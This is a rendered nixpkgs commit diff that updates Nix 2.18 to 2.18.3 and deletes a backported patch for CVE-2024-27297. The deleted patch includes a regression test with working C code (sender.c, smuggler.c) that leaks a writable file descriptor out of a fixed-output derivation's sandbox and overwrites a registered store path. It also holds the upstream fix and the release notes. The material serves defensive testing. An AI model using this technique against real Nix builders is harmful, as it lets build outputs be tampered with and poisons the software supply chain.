+5
-5
nixos/modules/installer/tools/nix-fallback-paths.nix
+5
-5
nixos/modules/installer/tools/nix-fallback-paths.nix
···
1
1
{
2
-
x86_64-linux = "/nix/store/azvn85cras6xv4z5j85fiy406f24r1q0-nix-2.18.1";
3
-
i686-linux = "/nix/store/9bnwy7f9h0kzdzmcnjjsjg0aak5waj40-nix-2.18.1";
4
-
aarch64-linux = "/nix/store/hh65xwqm9s040s3cgn9vzcmrxj0sf5ij-nix-2.18.1";
5
-
x86_64-darwin = "/nix/store/6zi5fqzn9n17wrk8r41rhdw4j7jqqsi3-nix-2.18.1";
6
-
aarch64-darwin = "/nix/store/0pbq6wzr2f1jgpn5212knyxpwmkjgjah-nix-2.18.1";
2
+
x86_64-linux = "/nix/store/yrsmzlw2lgbknzwic1gy1gmv3l2w1ax8-nix-2.18.3";
3
+
i686-linux = "/nix/store/ds9381l9mlwfaclvqnkzn3jl4qb8m3y1-nix-2.18.3";
4
+
aarch64-linux = "/nix/store/hw1zny3f8520zyskmp1qaybv1ir5ilxh-nix-2.18.3";
5
+
x86_64-darwin = "/nix/store/z08yc4sl1fr65q53wz6pw30h67qafaln-nix-2.18.3";
6
+
aarch64-darwin = "/nix/store/p57m7m0wrz8sqxiwinzpwzqzak82zn75-nix-2.18.3";
7
7
}
+2
-6
pkgs/tools/package-management/nix/default.nix
+2
-6
pkgs/tools/package-management/nix/default.nix
···
227
227
};
228
228
229
229
nix_2_18 = common {
230
-
version = "2.18.1";
231
-
hash = "sha256-WNmifcTsN9aG1ONkv+l2BC4sHZZxtNKy0keqBHXXQ7w=";
232
-
patches = [
233
-
patch-rapidcheck-shared
234
-
./patches/2_18/CVE-2024-27297.patch
235
-
];
230
+
version = "2.18.3";
231
+
hash = "sha256-430V4oN1Pid0h3J1yucrik6lbDh5D+pHI455bzLPEDY=";
236
232
};
237
233
238
234
nix_2_19 = common {
-379
pkgs/tools/package-management/nix/patches/2_18/CVE-2024-27297.patch
-379
pkgs/tools/package-management/nix/patches/2_18/CVE-2024-27297.patch
···
1
-
From f8d20e91a45f71b60402f5916d2475751c089c84 Mon Sep 17 00:00:00 2001
2
-
From: Tom Bereknyei <tomberek@gmail.com>
3
-
Date: Fri, 1 Mar 2024 03:42:26 -0500
4
-
Subject: [PATCH 1/3] Add a NixOS test for the sandbox escape
5
-
6
-
Test that we can't leverage abstract unix domain sockets to leak file
7
-
descriptors out of the sandbox and modify the path after it has been
8
-
registered.
9
-
10
-
Co-authored-by: Theophane Hufschmitt <theophane.hufschmitt@tweag.io>
11
-
---
12
-
flake.nix | 2 +
13
-
tests/nixos/ca-fd-leak/default.nix | 90 ++++++++++++++++++++++++++++++
14
-
tests/nixos/ca-fd-leak/sender.c | 65 +++++++++++++++++++++
15
-
tests/nixos/ca-fd-leak/smuggler.c | 66 ++++++++++++++++++++++
16
-
4 files changed, 223 insertions(+)
17
-
create mode 100644 tests/nixos/ca-fd-leak/default.nix
18
-
create mode 100644 tests/nixos/ca-fd-leak/sender.c
19
-
create mode 100644 tests/nixos/ca-fd-leak/smuggler.c
20
-
21
-
diff --git a/flake.nix b/flake.nix
22
-
index 230bb6031..4a54c660f 100644
23
-
--- a/flake.nix
24
-
+++ b/flake.nix
25
-
@@ -634,6 +634,8 @@
26
-
["i686-linux" "x86_64-linux"]
27
-
(system: runNixOSTestFor system ./tests/nixos/setuid.nix);
28
-
29
-
+ tests.ca-fd-leak = runNixOSTestFor "x86_64-linux" ./tests/nixos/ca-fd-leak;
30
-
+
31
-
32
-
# Make sure that nix-env still produces the exact same result
33
-
# on a particular version of Nixpkgs.
34
-
diff --git a/tests/nixos/ca-fd-leak/default.nix b/tests/nixos/ca-fd-leak/default.nix
35
-
new file mode 100644
36
-
index 000000000..a6ae72adc
37
-
--- /dev/null
38
-
+++ b/tests/nixos/ca-fd-leak/default.nix
39
-
@@ -0,0 +1,90 @@
40
-
+# Nix is a sandboxed build system. But Not everything can be handled inside its
41
-
+# sandbox: Network access is normally blocked off, but to download sources, a
42
-
+# trapdoor has to exist. Nix handles this by having "Fixed-output derivations".
43
-
+# The detail here is not important, but in our case it means that the hash of
44
-
+# the output has to be known beforehand. And if you know that, you get a few
45
-
+# rights: you no longer run inside a special network namespace!
46
-
+#
47
-
+# Now, Linux has a special feature, that not many other unices do: Abstract
48
-
+# unix domain sockets! Not only that, but those are namespaced using the
49
-
+# network namespace! That means that we have a way to create sockets that are
50
-
+# available in every single fixed-output derivation, and also all processes
51
-
+# running on the host machine! Now, this wouldn't be that much of an issue, as,
52
-
+# well, the whole idea is that the output is pure, and all processes in the
53
-
+# sandbox are killed before finalizing the output. What if we didn't need those
54
-
+# processes at all? Unix domain sockets have a semi-known trick: you can pass
55
-
+# file descriptors around!
56
-
+# This makes it possible to exfiltrate a file-descriptor with write access to
57
-
+# $out outside of the sandbox. And that file-descriptor can be used to modify
58
-
+# the contents of the store path after it has been registered.
59
-
+
60
-
+{ config, ... }:
61
-
+
62
-
+let
63
-
+ pkgs = config.nodes.machine.nixpkgs.pkgs;
64
-
+
65
-
+ # Simple C program that sends a a file descriptor to `$out` to a Unix
66
-
+ # domain socket.
67
-
+ # Compiled statically so that we can easily send it to the VM and use it
68
-
+ # inside the build sandbox.
69
-
+ sender = pkgs.runCommandWith {
70
-
+ name = "sender";
71
-
+ stdenv = pkgs.pkgsStatic.stdenv;
72
-
+ } ''
73
-
+ $CC -static -o $out ${./sender.c}
74
-
+ '';
75
-
+
76
-
+ # Okay, so we have a file descriptor shipped out of the FOD now. But the
77
-
+ # Nix store is read-only, right? .. Well, yeah. But this file descriptor
78
-
+ # lives in a mount namespace where it is not! So even when this file exists
79
-
+ # in the actual Nix store, we're capable of just modifying its contents...
80
-
+ smuggler = pkgs.writeCBin "smuggler" (builtins.readFile ./smuggler.c);
81
-
+
82
-
+ # The abstract socket path used to exfiltrate the file descriptor
83
-
+ socketName = "FODSandboxExfiltrationSocket";
84
-
+in
85
-
+{
86
-
+ name = "ca-fd-leak";
87
-
+
88
-
+ nodes.machine =
89
-
+ { config, lib, pkgs, ... }:
90
-
+ { virtualisation.writableStore = true;
91
-
+ nix.settings.substituters = lib.mkForce [ ];
92
-
+ virtualisation.additionalPaths = [ pkgs.busybox-sandbox-shell sender smuggler pkgs.socat ];
93
-
+ };
94
-
+
95
-
+ testScript = { nodes }: ''
96
-
+ start_all()
97
-
+
98
-
+ machine.succeed("echo hello")
99
-
+ # Start the smuggler server
100
-
+ machine.succeed("${smuggler}/bin/smuggler ${socketName} >&2 &")
101
-
+
102
-
+ # Build the smuggled derivation.
103
-
+ # This will connect to the smuggler server and send it the file descriptor
104
-
+ machine.succeed(r"""
105
-
+ nix-build -E '
106
-
+ builtins.derivation {
107
-
+ name = "smuggled";
108
-
+ system = builtins.currentSystem;
109
-
+ # look ma, no tricks!
110
-
+ outputHashMode = "flat";
111
-
+ outputHashAlgo = "sha256";
112
-
+ outputHash = builtins.hashString "sha256" "hello, world\n";
113
-
+ builder = "${pkgs.busybox-sandbox-shell}/bin/sh";
114
-
+ args = [ "-c" "echo \"hello, world\" > $out; ''${${sender}} ${socketName}" ];
115
-
+ }'
116
-
+ """.strip())
117
-
+
118
-
+
119
-
+ # Tell the smuggler server that we're done
120
-
+ machine.execute("echo done | ${pkgs.socat}/bin/socat - ABSTRACT-CONNECT:${socketName}")
121
-
+
122
-
+ # Check that the file was not modified
123
-
+ machine.succeed(r"""
124
-
+ cat ./result
125
-
+ test "$(cat ./result)" = "hello, world"
126
-
+ """.strip())
127
-
+ '';
128
-
+
129
-
+}
130
-
diff --git a/tests/nixos/ca-fd-leak/sender.c b/tests/nixos/ca-fd-leak/sender.c
131
-
new file mode 100644
132
-
index 000000000..75e54fc8f
133
-
--- /dev/null
134
-
+++ b/tests/nixos/ca-fd-leak/sender.c
135
-
@@ -0,0 +1,65 @@
136
-
+#include <sys/socket.h>
137
-
+#include <sys/un.h>
138
-
+#include <stdlib.h>
139
-
+#include <stddef.h>
140
-
+#include <stdio.h>
141
-
+#include <unistd.h>
142
-
+#include <fcntl.h>
143
-
+#include <errno.h>
144
-
+#include <string.h>
145
-
+#include <assert.h>
146
-
+
147
-
+int main(int argc, char **argv) {
148
-
+
149
-
+ assert(argc == 2);
150
-
+
151
-
+ int sock = socket(AF_UNIX, SOCK_STREAM, 0);
152
-
+
153
-
+ // Set up a abstract domain socket path to connect to.
154
-
+ struct sockaddr_un data;
155
-
+ data.sun_family = AF_UNIX;
156
-
+ data.sun_path[0] = 0;
157
-
+ strcpy(data.sun_path + 1, argv[1]);
158
-
+
159
-
+ // Now try to connect, To ensure we work no matter what order we are
160
-
+ // executed in, just busyloop here.
161
-
+ int res = -1;
162
-
+ while (res < 0) {
163
-
+ res = connect(sock, (const struct sockaddr *)&data,
164
-
+ offsetof(struct sockaddr_un, sun_path)
165
-
+ + strlen(argv[1])
166
-
+ + 1);
167
-
+ if (res < 0 && errno != ECONNREFUSED) perror("connect");
168
-
+ if (errno != ECONNREFUSED) break;
169
-
+ }
170
-
+
171
-
+ // Write our message header.
172
-
+ struct msghdr msg = {0};
173
-
+ msg.msg_control = malloc(128);
174
-
+ msg.msg_controllen = 128;
175
-
+
176
-
+ // Write an SCM_RIGHTS message containing the output path.
177
-
+ struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg);
178
-
+ hdr->cmsg_len = CMSG_LEN(sizeof(int));
179
-
+ hdr->cmsg_level = SOL_SOCKET;
180
-
+ hdr->cmsg_type = SCM_RIGHTS;
181
-
+ int fd = open(getenv("out"), O_RDWR | O_CREAT, 0640);
182
-
+ memcpy(CMSG_DATA(hdr), (void *)&fd, sizeof(int));
183
-
+
184
-
+ msg.msg_controllen = CMSG_SPACE(sizeof(int));
185
-
+
186
-
+ // Write a single null byte too.
187
-
+ msg.msg_iov = malloc(sizeof(struct iovec));
188
-
+ msg.msg_iov[0].iov_base = "";
189
-
+ msg.msg_iov[0].iov_len = 1;
190
-
+ msg.msg_iovlen = 1;
191
-
+
192
-
+ // Send it to the othher side of this connection.
193
-
+ res = sendmsg(sock, &msg, 0);
194
-
+ if (res < 0) perror("sendmsg");
195
-
+ int buf;
196
-
+
197
-
+ // Wait for the server to close the socket, implying that it has
198
-
+ // received the commmand.
199
-
+ recv(sock, (void *)&buf, sizeof(int), 0);
200
-
+}
201
-
diff --git a/tests/nixos/ca-fd-leak/smuggler.c b/tests/nixos/ca-fd-leak/smuggler.c
202
-
new file mode 100644
203
-
index 000000000..82acf37e6
204
-
--- /dev/null
205
-
+++ b/tests/nixos/ca-fd-leak/smuggler.c
206
-
@@ -0,0 +1,66 @@
207
-
+#include <sys/socket.h>
208
-
+#include <sys/un.h>
209
-
+#include <stdlib.h>
210
-
+#include <stddef.h>
211
-
+#include <stdio.h>
212
-
+#include <unistd.h>
213
-
+#include <assert.h>
214
-
+
215
-
+int main(int argc, char **argv) {
216
-
+
217
-
+ assert(argc == 2);
218
-
+
219
-
+ int sock = socket(AF_UNIX, SOCK_STREAM, 0);
220
-
+
221
-
+ // Bind to the socket.
222
-
+ struct sockaddr_un data;
223
-
+ data.sun_family = AF_UNIX;
224
-
+ data.sun_path[0] = 0;
225
-
+ strcpy(data.sun_path + 1, argv[1]);
226
-
+ int res = bind(sock, (const struct sockaddr *)&data,
227
-
+ offsetof(struct sockaddr_un, sun_path)
228
-
+ + strlen(argv[1])
229
-
+ + 1);
230
-
+ if (res < 0) perror("bind");
231
-
+
232
-
+ res = listen(sock, 1);
233
-
+ if (res < 0) perror("listen");
234
-
+
235
-
+ int smuggling_fd = -1;
236
-
+
237
-
+ // Accept the connection a first time to receive the file descriptor.
238
-
+ fprintf(stderr, "%s\n", "Waiting for the first connection");
239
-
+ int a = accept(sock, 0, 0);
240
-
+ if (a < 0) perror("accept");
241
-
+
242
-
+ struct msghdr msg = {0};
243
-
+ msg.msg_control = malloc(128);
244
-
+ msg.msg_controllen = 128;
245
-
+
246
-
+ // Receive the file descriptor as sent by the smuggler.
247
-
+ recvmsg(a, &msg, 0);
248
-
+
249
-
+ struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg);
250
-
+ while (hdr) {
251
-
+ if (hdr->cmsg_level == SOL_SOCKET
252
-
+ && hdr->cmsg_type == SCM_RIGHTS) {
253
-
+
254
-
+ // Grab the copy of the file descriptor.
255
-
+ memcpy((void *)&smuggling_fd, CMSG_DATA(hdr), sizeof(int));
256
-
+ }
257
-
+
258
-
+ hdr = CMSG_NXTHDR(&msg, hdr);
259
-
+ }
260
-
+ fprintf(stderr, "%s\n", "Got the file descriptor. Now waiting for the second connection");
261
-
+ close(a);
262
-
+
263
-
+ // Wait for a second connection, which will tell us that the build is
264
-
+ // done
265
-
+ a = accept(sock, 0, 0);
266
-
+ fprintf(stderr, "%s\n", "Got a second connection, rewriting the file");
267
-
+ // Write a new content to the file
268
-
+ if (ftruncate(smuggling_fd, 0)) perror("ftruncate");
269
-
+ char * new_content = "Pwned\n";
270
-
+ int written_bytes = write(smuggling_fd, new_content, strlen(new_content));
271
-
+ if (written_bytes != strlen(new_content)) perror("write");
272
-
+}
273
-
--
274
-
2.42.0
275
-
276
-
277
-
From 4bc5a3510fa3735798f9ed3a2a30a3ea7b32343a Mon Sep 17 00:00:00 2001
278
-
From: Tom Bereknyei <tomberek@gmail.com>
279
-
Date: Fri, 1 Mar 2024 03:45:39 -0500
280
-
Subject: [PATCH 2/3] Copy the output of fixed-output derivations before
281
-
registering them
282
-
283
-
It is possible to exfiltrate a file descriptor out of the build sandbox
284
-
of FODs, and use it to modify the store path after it has been
285
-
registered.
286
-
To avoid that issue, don't register the output of the build, but a copy
287
-
of it (that will be free of any leaked file descriptor).
288
-
289
-
Co-authored-by: Theophane Hufschmitt <theophane.hufschmitt@tweag.io>
290
-
Co-authored-by: Valentin Gagarin <valentin.gagarin@tweag.io>
291
-
---
292
-
src/libstore/build/local-derivation-goal.cc | 6 ++++++
293
-
src/libutil/filesystem.cc | 6 ++++++
294
-
src/libutil/util.hh | 7 +++++++
295
-
3 files changed, 19 insertions(+)
296
-
297
-
diff --git a/src/libstore/build/local-derivation-goal.cc b/src/libstore/build/local-derivation-goal.cc
298
-
index 64b55ca6a..f1e22f829 100644
299
-
--- a/src/libstore/build/local-derivation-goal.cc
300
-
+++ b/src/libstore/build/local-derivation-goal.cc
301
-
@@ -2558,6 +2558,12 @@ SingleDrvOutputs LocalDerivationGoal::registerOutputs()
302
-
[&](const DerivationOutput::CAFixed & dof) {
303
-
auto & wanted = dof.ca.hash;
304
-
305
-
+ // Replace the output by a fresh copy of itself to make sure
306
-
+ // that there's no stale file descriptor pointing to it
307
-
+ Path tmpOutput = actualPath + ".tmp";
308
-
+ copyFile(actualPath, tmpOutput, true);
309
-
+ renameFile(tmpOutput, actualPath);
310
-
+
311
-
auto newInfo0 = newInfoFromCA(DerivationOutput::CAFloating {
312
-
.method = dof.ca.method,
313
-
.hashType = wanted.type,
314
-
diff --git a/src/libutil/filesystem.cc b/src/libutil/filesystem.cc
315
-
index 11cc0c0e7..2a7787c0e 100644
316
-
--- a/src/libutil/filesystem.cc
317
-
+++ b/src/libutil/filesystem.cc
318
-
@@ -133,6 +133,12 @@ void copy(const fs::directory_entry & from, const fs::path & to, bool andDelete)
319
-
}
320
-
}
321
-
322
-
+
323
-
+void copyFile(const Path & oldPath, const Path & newPath, bool andDelete)
324
-
+{
325
-
+ return copy(fs::directory_entry(fs::path(oldPath)), fs::path(newPath), andDelete);
326
-
+}
327
-
+
328
-
void renameFile(const Path & oldName, const Path & newName)
329
-
{
330
-
fs::rename(oldName, newName);
331
-
diff --git a/src/libutil/util.hh b/src/libutil/util.hh
332
-
index b302d6f45..59d42e0a5 100644
333
-
--- a/src/libutil/util.hh
334
-
+++ b/src/libutil/util.hh
335
-
@@ -274,6 +274,13 @@ void renameFile(const Path & src, const Path & dst);
336
-
*/
337
-
void moveFile(const Path & src, const Path & dst);
338
-
339
-
+/**
340
-
+ * Recursively copy the content of `oldPath` to `newPath`. If `andDelete` is
341
-
+ * `true`, then also remove `oldPath` (making this equivalent to `moveFile`, but
342
-
+ * with the guaranty that the destination will be “fresh”, with no stale inode
343
-
+ * or file descriptor pointing to it).
344
-
+ */
345
-
+void copyFile(const Path & oldPath, const Path & newPath, bool andDelete);
346
-
347
-
/**
348
-
* Wrappers arount read()/write() that read/write exactly the
349
-
--
350
-
2.42.0
351
-
352
-
353
-
From 9e7065bef5469b3024cde2bbc7745530a64fde5b Mon Sep 17 00:00:00 2001
354
-
From: Tom Bereknyei <tomberek@gmail.com>
355
-
Date: Fri, 1 Mar 2024 04:01:23 -0500
356
-
Subject: [PATCH 3/3] Add release notes
357
-
358
-
Co-authored-by: Theophane Hufschmitt <theophane.hufschmitt@tweag.io>
359
-
---
360
-
doc/manual/src/release-notes/rl-next.md | 8 ++++++++
361
-
1 file changed, 8 insertions(+)
362
-
363
-
diff --git a/doc/manual/src/release-notes/rl-next.md b/doc/manual/src/release-notes/rl-next.md
364
-
index c869b5e2f..f77513385 100644
365
-
--- a/doc/manual/src/release-notes/rl-next.md
366
-
+++ b/doc/manual/src/release-notes/rl-next.md
367
-
@@ -1 +1,9 @@
368
-
# Release X.Y (202?-??-??)
369
-
+
370
-
+- Fix a FOD sandbox escape:
371
-
+ Cooperating Nix derivations could send file descriptors to files in the Nix
372
-
+ store to each other via Unix domain sockets in the abstract namespace. This
373
-
+ allowed one derivation to modify the output of the other derivation, after Nix
374
-
+ has registered the path as "valid" and immutable in the Nix database.
375
-
+ In particular, this allowed the output of fixed-output derivations to be
376
-
+ modified from their expected content. This isn't the case any more.
377
-
--
378
-
2.42.0
379
-